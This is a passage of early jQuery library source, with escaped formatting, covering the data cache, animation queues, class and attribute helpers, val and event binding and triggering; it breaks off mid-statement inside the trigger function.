\"readOnly\",\n\tmaxlength: \"maxLength\",\n\tcellspacing: \"cellSpacing\",\n\trowspan: \"rowSpan\",\n\tcolspan: \"colSpan\",\n\ttabindex: \"tabIndex\",\n\tusemap: \"useMap\",\n\tframeborder: \"frameBorder\"\n};\nvar expando = \"jQuery\" + now(), uuid = 0, windowData = {};\nvar emptyObject = {};\n\njQuery.extend({\n\tcache: {},\n\n\texpando:expando,\n\n\t// The following elements throw uncatchable exceptions if you\n\t// attempt to add expando properties to them.\n\tnoData: {\n\t\t\"embed\": true,\n\t\t\"object\": true,\n\t\t\"applet\": true\n\t},\n\n\tdata: function( elem, name, data ) {\n\t\tif ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) {\n\t\t\treturn;\n\t\t}\n\n\t\telem = elem == window ?\n\t\t\twindowData :\n\t\t\telem;\n\n\t\tvar id = elem[ expando ], cache = jQuery.cache, thisCache;\n\n\t\t// Handle the case where there's no name immediately\n\t\tif ( !name && !id ) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// Compute a unique ID for the element\n\t\tif ( !id ) {\n\t\t\tid = ++uuid;\n\t\t}\n\n\t\t// Avoid generating a new cache unless none exists and we\n\t\t// want to manipulate it.\n\t\tif ( typeof name === \"object\" ) {\n\t\t\telem[ expando ] = id;\n\t\t\tthisCache = cache[ id ] = jQuery.extend(true, {}, name);\n\t\t} else if ( cache[ id ] ) {\n\t\t\tthisCache = cache[ id ];\n\t\t} else if ( typeof data === \"undefined\" ) {\n\t\t\tthisCache = emptyObject;\n\t\t} else {\n\t\t\tthisCache = cache[ id ] = {};\n\t\t}\n\n\t\t// Prevent overriding the named cache with undefined values\n\t\tif ( data !== undefined ) {\n\t\t\telem[ expando ] = id;\n\t\t\tthisCache[ name ] = data;\n\t\t}\n\n\t\treturn typeof name === \"string\" ? thisCache[ name ] : thisCache;\n\t},\n\n\tremoveData: function( elem, name ) {\n\t\tif ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) {\n\t\t\treturn;\n\t\t}\n\n\t\telem = elem == window ?\n\t\t\twindowData :\n\t\t\telem;\n\n\t\tvar id = elem[ expando ], cache = jQuery.cache, thisCache = cache[ id ];\n\n\t\t// If we want to remove a specific section of the element's data\n\t\tif ( name ) {\n\t\t\tif ( thisCache ) {\n\t\t\t\t// Remove the section of cache data\n\t\t\t\tdelete thisCache[ name ];\n\n\t\t\t\t// If we've removed all the data, remove the element's cache\n\t\t\t\tif ( jQuery.isEmptyObject(thisCache) ) {\n\t\t\t\t\tjQuery.removeData( elem );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Otherwise, we want to remove all of the element's data\n\t\t} else {\n\t\t\t// Clean up the element expando\n\t\t\ttry {\n\t\t\t\tdelete elem[ expando ];\n\t\t\t} catch( e ) {\n\t\t\t\t// IE has trouble directly removing the expando\n\t\t\t\t// but it's ok with using removeAttribute\n\t\t\t\tif ( elem.removeAttribute ) {\n\t\t\t\t\telem.removeAttribute( expando );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Completely remove the data cache\n\t\t\tdelete cache[ id ];\n\t\t}\n\t}\n});\n\njQuery.fn.extend({\n\tdata: function( key, value ) {\n\t\tif ( typeof key === \"undefined\" && this.length ) {\n\t\t\treturn jQuery.data( this[0] );\n\n\t\t} else if ( typeof key === \"object\" ) {\n\t\t\treturn this.each(function() {\n\t\t\t\tjQuery.data( this, key );\n\t\t\t});\n\t\t}\n\n\t\tvar parts = key.split(\".\");\n\t\tparts[1] = parts[1] ? \".\" + parts[1] : \"\";\n\n\t\tif ( value === undefined ) {\n\t\t\tvar data = this.triggerHandler(\"getData\" + parts[1] + \"!\", [parts[0]]);\n\n\t\t\tif ( data === undefined && this.length ) {\n\t\t\t\tdata = jQuery.data( this[0], key );\n\t\t\t}\n\t\t\treturn data === undefined && parts[1] ?\n\t\t\t\tthis.data( parts[0] ) :\n\t\t\t\tdata;\n\t\t} else {\n\t\t\treturn this.trigger(\"setData\" + parts[1] + \"!\", [parts[0], value]).each(function() {\n\t\t\t\tjQuery.data( this, key, value );\n\t\t\t});\n\t\t}\n\t},\n\n\tremoveData: function( key ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.removeData( this, key );\n\t\t});\n\t}\n});\njQuery.extend({\n\tqueue: function( elem, type, data ) {\n\t\tif ( !elem ) {\n\t\t\treturn;\n\t\t}\n\n\t\ttype = (type || \"fx\") + \"queue\";\n\t\tvar q = jQuery.data( elem, type );\n\n\t\t// Speed up dequeue by getting out quickly if this is just a lookup\n\t\tif ( !data ) {\n\t\t\treturn q || [];\n\t\t}\n\n\t\tif ( !q || jQuery.isArray(data) ) {\n\t\t\tq = jQuery.data( elem, type, jQuery.makeArray(data) );\n\n\t\t} else {\n\t\t\tq.push( data );\n\t\t}\n\n\t\treturn q;\n\t},\n\n\tdequeue: function( elem, type ) {\n\t\ttype = type || \"fx\";\n\n\t\tvar queue = jQuery.queue( elem, type ), fn = queue.shift();\n\n\t\t// If the fx queue is dequeued, always remove the progress sentinel\n\t\tif ( fn === \"inprogress\" ) {\n\t\t\tfn = queue.shift();\n\t\t}\n\n\t\tif ( fn ) {\n\t\t\t// Add a progress sentinel to prevent the fx queue from being\n\t\t\t// automatically dequeued\n\t\t\tif ( type === \"fx\" ) {\n\t\t\t\tqueue.unshift(\"inprogress\");\n\t\t\t}\n\n\t\t\tfn.call(elem, function() {\n\t\t\t\tjQuery.dequeue(elem, type);\n\t\t\t});\n\t\t}\n\t}\n});\n\njQuery.fn.extend({\n\tqueue: function( type, data ) {\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tdata = type;\n\t\t\ttype = \"fx\";\n\t\t}\n\n\t\tif ( data === undefined ) {\n\t\t\treturn jQuery.queue( this[0], type );\n\t\t}\n\t\treturn this.each(function( i, elem ) {\n\t\t\tvar queue = jQuery.queue( this, type, data );\n\n\t\t\tif ( type === \"fx\" && queue[0] !== \"inprogress\" ) {\n\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t}\n\t\t});\n\t},\n\tdequeue: function( type ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.dequeue( this, type );\n\t\t});\n\t},\n\n\t// Based off of the plugin by Clint Helfers, with permission.\n\t// http://blindsignals.com/index.php/2009/07/jquery-delay/\n\tdelay: function( time, type ) {\n\t\ttime = jQuery.fx ? jQuery.fx.speeds[time] || time : time;\n\t\ttype = type || \"fx\";\n\n\t\treturn this.queue( type, function() {\n\t\t\tvar elem = this;\n\t\t\tsetTimeout(function() {\n\t\t\t\tjQuery.dequeue( elem, type );\n\t\t\t}, time );\n\t\t});\n\t},\n\n\tclearQueue: function( type ) {\n\t\treturn this.queue( type || \"fx\", [] );\n\t}\n});\nvar rclass = /[\\n\\t]/g,\n\trspace = /\\s+/,\n\trreturn = /\\r/g,\n\trspecialurl = /href|src|style/,\n\trtype = /(button|input)/i,\n\trfocusable = /(button|input|object|select|textarea)/i,\n\trclickable = /^(a|area)$/i,\n\trradiocheck = /radio|checkbox/;\n\njQuery.fn.extend({\n\tattr: function( name, value ) {\n\t\treturn access( this, name, value, true, jQuery.attr );\n\t},\n\n\tremoveAttr: function( name, fn ) {\n\t\treturn this.each(function(){\n\t\t\tjQuery.attr( this, name, \"\" );\n\t\t\tif ( this.nodeType === 1 ) {\n\t\t\t\tthis.removeAttribute( name );\n\t\t\t}\n\t\t});\n\t},\n\n\taddClass: function( value ) {\n\t\tif ( jQuery.isFunction(value) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\tself.addClass( value.call(this, i, self.attr(\"class\")) );\n\t\t\t});\n\t\t}\n\n\t\tif ( value && typeof value === \"string\" ) {\n\t\t\tvar classNames = (value || \"\").split( rspace );\n\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tvar elem = this[i];\n\n\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\tif ( !elem.className ) {\n\t\t\t\t\t\telem.className = value;\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar className = \" \" + elem.className + \" \";\n\t\t\t\t\t\tfor ( var c = 0, cl = classNames.length; c < cl; c++ ) {\n\t\t\t\t\t\t\tif ( className.indexOf( \" \" + classNames[c] + \" \" ) < 0 ) {\n\t\t\t\t\t\t\t\telem.className += \" \" + classNames[c];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tremoveClass: function( value ) {\n\t\tif ( jQuery.isFunction(value) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\tself.removeClass( value.call(this, i, self.attr(\"class\")) );\n\t\t\t});\n\t\t}\n\n\t\tif ( (value && typeof value === \"string\") || value === undefined ) {\n\t\t\tvar classNames = (value || \"\").split(rspace);\n\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tvar elem = this[i];\n\n\t\t\t\tif ( elem.nodeType === 1 && elem.className ) {\n\t\t\t\t\tif ( value ) {\n\t\t\t\t\t\tvar className = (\" \" + elem.className + \" \").replace(rclass, \" \");\n\t\t\t\t\t\tfor ( var c = 0, cl = classNames.length; c < cl; c++ ) {\n\t\t\t\t\t\t\tclassName = className.replace(\" \" + classNames[c] + \" \", \" \");\n\t\t\t\t\t\t}\n\t\t\t\t\t\telem.className = className.substring(1, className.length - 1);\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\telem.className = \"\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\ttoggleClass: function( value, stateVal ) {\n\t\tvar type = typeof value, isBool = typeof stateVal === \"boolean\";\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\tself.toggleClass( value.call(this, i, self.attr(\"class\"), stateVal), stateVal );\n\t\t\t});\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tif ( type === \"string\" ) {\n\t\t\t\t// toggle individual class names\n\t\t\t\tvar className, i = 0, self = jQuery(this),\n\t\t\t\t\tstate = stateVal,\n\t\t\t\t\tclassNames = value.split( rspace );\n\n\t\t\t\twhile ( (className = classNames[ i++ ]) ) {\n\t\t\t\t\t// check each className given, space seperated list\n\t\t\t\t\tstate = isBool ? state : !self.hasClass( className );\n\t\t\t\t\tself[ state ? \"addClass\" : \"removeClass\" ]( className );\n\t\t\t\t}\n\n\t\t\t} else if ( type === \"undefined\" || type === \"boolean\" ) {\n\t\t\t\tif ( this.className ) {\n\t\t\t\t\t// store className if set\n\t\t\t\t\tjQuery.data( this, \"__className__\", this.className );\n\t\t\t\t}\n\n\t\t\t\t// toggle whole className\n\t\t\t\tthis.className = this.className || value === false ? \"\" : jQuery.data( this, \"__className__\" ) || \"\";\n\t\t\t}\n\t\t});\n\t},\n\n\thasClass: function( selector ) {\n\t\tvar className = \" \" + selector + \" \";\n\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\tif ( (\" \" + this[i].className + \" \").replace(rclass, \" \").indexOf( className ) > -1 ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t},\n\n\tval: function( value ) {\n\t\tif ( value === undefined ) {\n\t\t\tvar elem = this[0];\n\n\t\t\tif ( elem ) {\n\t\t\t\tif ( jQuery.nodeName( elem, \"option\" ) ) {\n\t\t\t\t\treturn (elem.attributes.value || {}).specified ? elem.value : elem.text;\n\t\t\t\t}\n\n\t\t\t\t// We need to handle select boxes special\n\t\t\t\tif ( jQuery.nodeName( elem, \"select\" ) ) {\n\t\t\t\t\tvar index = elem.selectedIndex,\n\t\t\t\t\t\tvalues = [],\n\t\t\t\t\t\toptions = elem.options,\n\t\t\t\t\t\tone = elem.type === \"select-one\";\n\n\t\t\t\t\t// Nothing was selected\n\t\t\t\t\tif ( index < 0 ) {\n\t\t\t\t\t\treturn null;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Loop through all the selected options\n\t\t\t\t\tfor ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) {\n\t\t\t\t\t\tvar option = options[ i ];\n\n\t\t\t\t\t\tif ( option.selected ) {\n\t\t\t\t\t\t\t// Get the specifc value for the option\n\t\t\t\t\t\t\tvalue = jQuery(option).val();\n\n\t\t\t\t\t\t\t// We don't need an array for one selects\n\t\t\t\t\t\t\tif ( one ) {\n\t\t\t\t\t\t\t\treturn value;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// Multi-Selects return an array\n\t\t\t\t\t\t\tvalues.push( value );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn values;\n\t\t\t\t}\n\n\t\t\t\t// Handle the case where in Webkit \"\" is returned instead of \"on\" if a value isn't specified\n\t\t\t\tif ( rradiocheck.test( elem.type ) && !jQuery.support.checkOn ) {\n\t\t\t\t\treturn elem.getAttribute(\"value\") === null ? \"on\" : elem.value;\n\t\t\t\t}\n\n\n\t\t\t\t// Everything else, we just grab the value\n\t\t\t\treturn (elem.value || \"\").replace(rreturn, \"\");\n\n\t\t\t}\n\n\t\t\treturn undefined;\n\t\t}\n\n\t\tvar isFunction = jQuery.isFunction(value);\n\n\t\treturn this.each(function(i) {\n\t\t\tvar self = jQuery(this), val = value;\n\n\t\t\tif ( this.nodeType !== 1 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( isFunction ) {\n\t\t\t\tval = value.call(this, i, self.val());\n\t\t\t}\n\n\t\t\t// Typecast each time if the value is a Function and the appended\n\t\t\t// value is therefore different each time.\n\t\t\tif ( typeof val === \"number\" ) {\n\t\t\t\tval += \"\";\n\t\t\t}\n\n\t\t\tif ( jQuery.isArray(val) && rradiocheck.test( this.type ) ) {\n\t\t\t\tthis.checked = jQuery.inArray( self.val(), val ) >= 0;\n\n\t\t\t} else if ( jQuery.nodeName( this, \"select\" ) ) {\n\t\t\t\tvar values = jQuery.makeArray(val);\n\n\t\t\t\tjQuery( \"option\", this ).each(function() {\n\t\t\t\t\tthis.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0;\n\t\t\t\t});\n\n\t\t\t\tif ( !values.length ) {\n\t\t\t\t\tthis.selectedIndex = -1;\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tthis.value = val;\n\t\t\t}\n\t\t});\n\t}\n});\n\njQuery.extend({\n\tattrFn: {\n\t\tval: true,\n\t\tcss: true,\n\t\thtml: true,\n\t\ttext: true,\n\t\tdata: true,\n\t\twidth: true,\n\t\theight: true,\n\t\toffset: true\n\t},\n\n\tattr: function( elem, name, value, pass ) {\n\t\t// don't set attributes on text and comment nodes\n\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn undefined;\n\t\t}\n\n\t\tif ( pass && name in jQuery.attrFn ) {\n\t\t\treturn jQuery(elem)[name](value);\n\t\t}\n\n\t\tvar notxml = elem.nodeType !== 1 || !jQuery.isXMLDoc( elem ),\n\t\t\t// Whether we are setting (or getting)\n\t\t\tset = value !== undefined;\n\n\t\t// Try to normalize/fix the name\n\t\tname = notxml && jQuery.props[ name ] || name;\n\n\t\t// Only do all the following if this is a node (faster for style)\n\t\tif ( elem.nodeType === 1 ) {\n\t\t\t// These attributes require special treatment\n\t\t\tvar special = rspecialurl.test( name );\n\n\t\t\t// Safari mis-reports the default selected property of an option\n\t\t\t// Accessing the parent's selectedIndex property fixes it\n\t\t\tif ( name === \"selected\" && !jQuery.support.optSelected ) {\n\t\t\t\tvar parent = elem.parentNode;\n\t\t\t\tif ( parent ) {\n\t\t\t\t\tparent.selectedIndex;\n\n\t\t\t\t\t// Make sure that it also works with optgroups, see #5701\n\t\t\t\t\tif ( parent.parentNode ) {\n\t\t\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// If applicable, access the attribute via the DOM 0 way\n\t\t\tif ( name in elem && notxml && !special ) {\n\t\t\t\tif ( set ) {\n\t\t\t\t\t// We can't allow the type property to be changed (since it causes problems in IE)\n\t\t\t\t\tif ( name === \"type\" && rtype.test( elem.nodeName ) && elem.parentNode ) {\n\t\t\t\t\t\tjQuery.error( \"type property can't be changed\" );\n\t\t\t\t\t}\n\n\t\t\t\t\telem[ name ] = value;\n\t\t\t\t}\n\n\t\t\t\t// browsers index elements by id/name on forms, give priority to attributes.\n\t\t\t\tif ( jQuery.nodeName( elem, \"form\" ) && elem.getAttributeNode(name) ) {\n\t\t\t\t\treturn elem.getAttributeNode( name ).nodeValue;\n\t\t\t\t}\n\n\t\t\t\t// elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set\n\t\t\t\t// http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/\n\t\t\t\tif ( name === \"tabIndex\" ) {\n\t\t\t\t\tvar attributeNode = elem.getAttributeNode( \"tabIndex\" );\n\n\t\t\t\t\treturn attributeNode && attributeNode.specified ?\n\t\t\t\t\t\tattributeNode.value :\n\t\t\t\t\t\trfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ?\n\t\t\t\t\t\t\t0 :\n\t\t\t\t\t\t\tundefined;\n\t\t\t\t}\n\n\t\t\t\treturn elem[ name ];\n\t\t\t}\n\n\t\t\tif ( !jQuery.support.style && notxml && name === \"style\" ) {\n\t\t\t\tif ( set ) {\n\t\t\t\t\telem.style.cssText = \"\" + value;\n\t\t\t\t}\n\n\t\t\t\treturn elem.style.cssText;\n\t\t\t}\n\n\t\t\tif ( set ) {\n\t\t\t\t// convert the value to a string (all browsers do this but IE) see #1070\n\t\t\t\telem.setAttribute( name, \"\" + value );\n\t\t\t}\n\n\t\t\tvar attr = !jQuery.support.hrefNormalized && notxml && special ?\n\t\t\t\t\t// Some attributes require a special call on IE\n\t\t\t\t\telem.getAttribute( name, 2 ) :\n\t\t\t\t\telem.getAttribute( name );\n\n\t\t\t// Non-existent attributes return null, we normalize to undefined\n\t\t\treturn attr === null ? undefined : attr;\n\t\t}\n\n\t\t// elem is actually elem.style ... set the style\n\t\t// Using attr for specific style information is now deprecated. Use style insead.\n\t\treturn jQuery.style( elem, name, value );\n\t}\n});\nvar fcleanup = function( nm ) {\n\treturn nm.replace(/[^\\w\\s\\.\\|`]/g, function( ch ) {\n\t\treturn \"\\\\\" + ch;\n\t});\n};\n\n/*\n * A number of helper functions used for managing events.\n * Many of the ideas behind this code originated from\n * Dean Edwards' addEvent library.\n */\njQuery.event = {\n\n\t// Bind an event to an element\n\t// Original by Dean Edwards\n\tadd: function( elem, types, handler, data ) {\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// For whatever reason, IE has trouble passing the window object\n\t\t// around, causing it to be cloned in the process\n\t\tif ( elem.setInterval && ( elem !== window && !elem.frameElement ) ) {\n\t\t\telem = window;\n\t\t}\n\n\t\t// Make sure that the function being executed has a unique ID\n\t\tif ( !handler.guid ) {\n\t\t\thandler.guid = jQuery.guid++;\n\t\t}\n\n\t\t// if data is passed, bind to handler\n\t\tif ( data !== undefined ) {\n\t\t\t// Create temporary function pointer to original handler\n\t\t\tvar fn = handler;\n\n\t\t\t// Create unique handler function, wrapped around original handler\n\t\t\thandler = jQuery.proxy( fn );\n\n\t\t\t// Store data in unique handler\n\t\t\thandler.data = data;\n\t\t}\n\n\t\t// Init the element's event structure\n\t\tvar events = jQuery.data( elem, \"events\" ) || jQuery.data( elem, \"events\", {} ),\n\t\t\thandle = jQuery.data( elem, \"handle\" ), eventHandle;\n\n\t\tif ( !handle ) {\n\t\t\teventHandle = function() {\n\t\t\t\t// Handle the second event of a trigger and when\n\t\t\t\t// an event is called after a page has unloaded\n\t\t\t\treturn typeof jQuery !== \"undefined\" && !jQuery.event.triggered ?\n\t\t\t\t\tjQuery.event.handle.apply( eventHandle.elem, arguments ) :\n\t\t\t\t\tundefined;\n\t\t\t};\n\n\t\t\thandle = jQuery.data( elem, \"handle\", eventHandle );\n\t\t}\n\n\t\t// If no handle is found then we must be trying to bind to one of the\n\t\t// banned noData elements\n\t\tif ( !handle ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Add elem as a property of the handle function\n\t\t// This is to prevent a memory leak with non-native\n\t\t// event in IE.\n\t\thandle.elem = elem;\n\n\t\t// Handle multiple events separated by a space\n\t\t// jQuery(...).bind(\"mouseover mouseout\", fn);\n\t\ttypes = types.split( /\\s+/ );\n\n\t\tvar type, i = 0;\n\n\t\twhile ( (type = types[ i++ ]) ) {\n\t\t\t// Namespaced event handlers\n\t\t\tvar namespaces = type.split(\".\");\n\t\t\ttype = namespaces.shift();\n\n\t\t\tif ( i > 1 ) {\n\t\t\t\thandler = jQuery.proxy( handler );\n\n\t\t\t\tif ( data !== undefined ) {\n\t\t\t\t\thandler.data = data;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\thandler.type = namespaces.slice(0).sort().join(\".\");\n\n\t\t\t// Get the current list of functions bound to this event\n\t\t\tvar handlers = events[ type ],\n\t\t\t\tspecial = this.special[ type ] || {};\n\n\t\t\t// Init the event handler queue\n\t\t\tif ( !handlers ) {\n\t\t\t\thandlers = events[ type ] = {};\n\n\t\t\t\t// Check for a special event handler\n\t\t\t\t// Only use addEventListener/attachEvent if the special\n\t\t\t\t// events handler returns false\n\t\t\t\tif ( !special.setup || special.setup.call( elem, data, namespaces, handler) === false ) {\n\t\t\t\t\t// Bind the global event handler to the element\n\t\t\t\t\tif ( elem.addEventListener ) {\n\t\t\t\t\t\telem.addEventListener( type, handle, false );\n\t\t\t\t\t} else if ( elem.attachEvent ) {\n\t\t\t\t\t\telem.attachEvent( \"on\" + type, handle );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( special.add ) {\n\t\t\t\tvar modifiedHandler = special.add.call( elem, handler, data, namespaces, handlers );\n\t\t\t\tif ( modifiedHandler && jQuery.isFunction( modifiedHandler ) ) {\n\t\t\t\t\tmodifiedHandler.guid = modifiedHandler.guid || handler.guid;\n\t\t\t\t\tmodifiedHandler.data = modifiedHandler.data || handler.data;\n\t\t\t\t\tmodifiedHandler.type = modifiedHandler.type || handler.type;\n\t\t\t\t\thandler = modifiedHandler;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add the function to the element's handler list\n\t\t\thandlers[ handler.guid ] = handler;\n\n\t\t\t// Keep track of which events have been used, for global triggering\n\t\t\tthis.global[ type ] = true;\n\t\t}\n\n\t\t// Nullify elem to prevent memory leaks in IE\n\t\telem = null;\n\t},\n\n\tglobal: {},\n\n\t// Detach an event or set of events from an element\n\tremove: function( elem, types, handler ) {\n\t\t// don't do events on text and comment nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar events = jQuery.data( elem, \"events\" ), ret, type, fn;\n\n\t\tif ( events ) {\n\t\t\t// Unbind all events for the element\n\t\t\tif ( types === undefined || (typeof types === \"string\" && types.charAt(0) === \".\") ) {\n\t\t\t\tfor ( type in events ) {\n\t\t\t\t\tthis.remove( elem, type + (types || \"\") );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// types is actually an event object here\n\t\t\t\tif ( types.type ) {\n\t\t\t\t\thandler = types.handler;\n\t\t\t\t\ttypes = types.type;\n\t\t\t\t}\n\n\t\t\t\t// Handle multiple events separated by a space\n\t\t\t\t// jQuery(...).unbind(\"mouseover mouseout\", fn);\n\t\t\t\ttypes = types.split(/\\s+/);\n\t\t\t\tvar i = 0;\n\t\t\t\twhile ( (type = types[ i++ ]) ) {\n\t\t\t\t\t// Namespaced event handlers\n\t\t\t\t\tvar namespaces = type.split(\".\");\n\t\t\t\t\ttype = namespaces.shift();\n\t\t\t\t\tvar all = !namespaces.length,\n\t\t\t\t\t\tcleaned = jQuery.map( namespaces.slice(0).sort(), fcleanup ),\n\t\t\t\t\t\tnamespace = new RegExp(\"(^|\\\\.)\" + cleaned.join(\"\\\\.(?:.*\\\\.)?\") + \"(\\\\.|$)\"),\n\t\t\t\t\t\tspecial = this.special[ type ] || {};\n\n\t\t\t\t\tif ( events[ type ] ) {\n\t\t\t\t\t\t// remove the given handler for the given type\n\t\t\t\t\t\tif ( handler ) {\n\t\t\t\t\t\t\tfn = events[ type ][ handler.guid ];\n\t\t\t\t\t\t\tdelete events[ type ][ handler.guid ];\n\n\t\t\t\t\t\t// remove all handlers for the given type\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tfor ( var handle in events[ type ] ) {\n\t\t\t\t\t\t\t\t// Handle the removal of namespaced events\n\t\t\t\t\t\t\t\tif ( all || namespace.test( events[ type ][ handle ].type ) ) {\n\t\t\t\t\t\t\t\t\tdelete events[ type ][ handle ];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ( special.remove ) {\n\t\t\t\t\t\t\tspecial.remove.call( elem, namespaces, fn);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// remove generic event handler if no more handlers exist\n\t\t\t\t\t\tfor ( ret in events[ type ] ) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( !ret ) {\n\t\t\t\t\t\t\tif ( !special.teardown || special.teardown.call( elem, namespaces ) === false ) {\n\t\t\t\t\t\t\t\tif ( elem.removeEventListener ) {\n\t\t\t\t\t\t\t\t\telem.removeEventListener( type, jQuery.data( elem, \"handle\" ), false );\n\t\t\t\t\t\t\t\t} else if ( elem.detachEvent ) {\n\t\t\t\t\t\t\t\t\telem.detachEvent( \"on\" + type, jQuery.data( elem, \"handle\" ) );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tret = null;\n\t\t\t\t\t\t\tdelete events[ type ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Remove the expando if it's no longer used\n\t\t\tfor ( ret in events ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( !ret ) {\n\t\t\t\tvar handle = jQuery.data( elem, \"handle\" );\n\t\t\t\tif ( handle ) {\n\t\t\t\t\thandle.elem = null;\n\t\t\t\t}\n\t\t\t\tjQuery.removeData( elem, \"events\" );\n\t\t\t\tjQuery.removeData( elem, \"handle\" );\n\t\t\t}\n\t\t}\n\t},\n\n\t// bubbling is internal\n\ttrigger: function( event, data, elem /*, bubbling */ ) {\n\t\t// Event object or event type\n\t\tvar type = event.type || event,\n\t\t\tbubbling = arguments[3];\n\n\t\tif ( !bubbling ) {\n\t\t\tevent = typeof event === \"object\" ?\n\t\t\t\t// jQuery.Event object\n\t\t\t\tevent[expando] ? event :\n\t\t\t\t// Object literal\n\t\t\t\tjQuery.extend( jQuery.Event(type), event ) :\n\t\t\t\t// Just the event type (string)\n\t\t\t\tjQuery.Event(type);\n\n\t\t\tif ( type.indexOf(\"!\") >= 0 ) {\n\t\t\t\tevent.type = type = type.slice(0, -1);\n\t\t\t\tevent.exclusive = true;\n\t\t\t}\n\n\t\t\t// Handle a global trigger\n\t\t\tif ( !elem ) {\n\t\t\t\t// Don't bubble custom events when global (to avoid too much overhead)\n\t\t\t\tevent.stopPropagation();\n\n\t\t\t\t// Only trigger if we've ever bound an event for it\n\t\t\t\tif ( this.global[ type ] ) {\n\t\t\t\t\tjQuery.each( jQuery.cache, function() {\n\t\t\t\t\t\tif ( this.events && this.events[type] ) {\n\t\t\t\t\t\t\tjQuery.event.trigger( event, data, this.handle.elem );\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Handle triggering a single element\n\n\t\t\t// don't do events on text and comment nodes\n\t\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\t\treturn undefined;\n\t\t\t}\n\n\t\t\t// Clean up in case it is reused\n\t\t\tevent.result = undefined;\n\t\t\tevent.target = elem;\n\n\t\t\t// Clone the incoming data, if any\n\t\t\tdata = jQuery.makeArray( data );\n\t\t\tdata.unshift( event );\n\t\t}\n\n\t\tevent.currentTarget = elem;\n\n\t\t// Trigger the event, it is assumed that \"handle\" is a function\n\t\tvar handle = jQuery.data( elem, \"handle\" );\n\t\tif ( handle ) {\n\t\t\thandle.apply( elem, data );\n\t\t}\n\n\t\tvar parent = elem.parentNode || elem.ownerDocument;\n\n\t\t// Trigger an inline bound script\n\t\ttry {\n\t\t\tif ( !(elem && elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()]) ) {\n\t\t\t\tif ( elem[ \"on\" + type ] && elem[ \"on\" + type ].apply( elem, data ) === false ) {\n\t\t\t\t\tevent.result = false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t// prevent IE from throwing an error for some elements with some event types, see #3533\n\t\t} catch (e) {}\n\n\t\tif ( !event.isPropagationStopped() && parent ) {\n\t\t\tjQuery.event.trigger( event, data, parent, true );\n\n\t\t} else if ( !event.isDefaultPrevented() ) {\n\t\t\tvar target = event.target, old,\n\t\t\t\tisClick = jQuery.nodeName(target, \"a\") && type === \"click\";\n\n\t\t\tif ( !isClick && !(target && target.nodeName && jQuery.noData[target.nodeName.toLowerCase()]) ) {\n\t\t\t\ttry {\n\t\t\t\t\tif ( target[ type ] ) {\n\t\t\t\t\t\t// Make sure that we don't accidentally re-trigger the onFOO events\n\t\t\t\t\t\told = target[ \"on\" + type 